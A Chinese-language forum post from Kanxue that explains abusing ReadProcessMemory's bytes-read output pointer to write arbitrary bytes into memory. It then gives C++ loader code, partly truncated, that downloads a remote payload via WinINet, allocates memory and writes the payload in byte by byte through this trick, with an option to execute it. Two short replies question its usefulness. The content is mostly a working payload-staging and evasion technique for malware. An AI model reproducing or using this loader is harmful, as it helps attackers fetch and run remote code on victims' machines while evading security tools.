为什么 ReadProcessMemory 能写内存?原理解释ReadProcessMemory 的函数签名:BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesRead // 《---关键参数
);正常用途:lpNumberOfBytesRead 是一个输出参数,用于存储实际读取的字节数Windows 会将读取的字节数写入到这个指针指向的地址将 lpNumberOfBytesRead 指向目标内存地址SIZE_T* writeTarget = reinterpret_cast<SIZE_T*>(memoryAlloc + i);通过SIZE_T nsize = sourceBytes[i]; // 这个值会被写入lpNumberOfBytesReadWindows API 会自动将 nSize 的值写入 writeTarget 指向的地址ReadProcessMemory 内部会执行:*lpNumberOfBytesRead = nSize示例写入字节 0x90(NOP指令):ReadProcessMemory(
currentProcess,
memoryAlloc,
dummyBuffer,
0x90,//写入的值
(SIZE_T*)(target) // 写入的目标地址
最后我用AI转rust源码为CPP版本 如下#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#pragma comment(lib, "wininet.lib")
// 详细输出处理函数
void verboseHandler(bool verbose, const std::string& msg, const std::string& type) {
if (!verbose) return;
if (type == "info") std::cout << "[i] " << msg << std::endl;
else if (type == "warning") std::cout << "[!] " << msg << std::endl;
else if (type == "success") std::cout << "[+] " << msg << std::endl;
else if (type == "error") std::cout << "[-] " << msg << std::endl;
else std::cout << "[*] " << msg << std::endl;
// 下载远程payload
std::vector<BYTE> downloadPayload(const std::string& url, bool verbose) {
std::vector<BYTE> result;
HINTERNET hInternet = InternetOpenA("Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return result;
HINTERNET hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect) {
BYTE buffer[4096];
DWORD bytesRead;
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
result.insert(result.end(), buffer, buffer + bytesRead);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
verboseHandler(verbose, "Total bytes downloaded: " + std::to_string(result.size()), "success");
return result;
// 间接内存分配和写入
void indirectMemoryAllocation(const std::vector<BYTE>& injectData, bool executePayload, bool verbose) {
size_t dataSize = injectData.size();
std::vector<BYTE> dummyBuffer(2, 0);
// 分配内存
LPVOID memoryAlloc = VirtualAlloc(
NULL,
dataSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
if (memoryAlloc == NULL) {
verboseHandler(verbose, "Memory allocation failed", "error");
return;
verboseHandler(verbose, "Memory offset reserved (hex): 0x" +
std::to_string(reinterpret_cast<uintptr_t>(memoryAlloc)), "info");
verboseHandler(verbose, "Memory allocated", "success");
// 获取当前进程句柄
HANDLE currentProcess = GetCurrentProcess();
const BYTE* sourceBytes = injectData.data();
verboseHandler(verbose, "Writing...",
...(已截断)
---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-289432.htm
使用ReadProcessMemory写入内存
467 浏览
2 回复
意思在哪?只能在当前进程使用,和直接复制有啥区别
人才, 这也被你利用起来了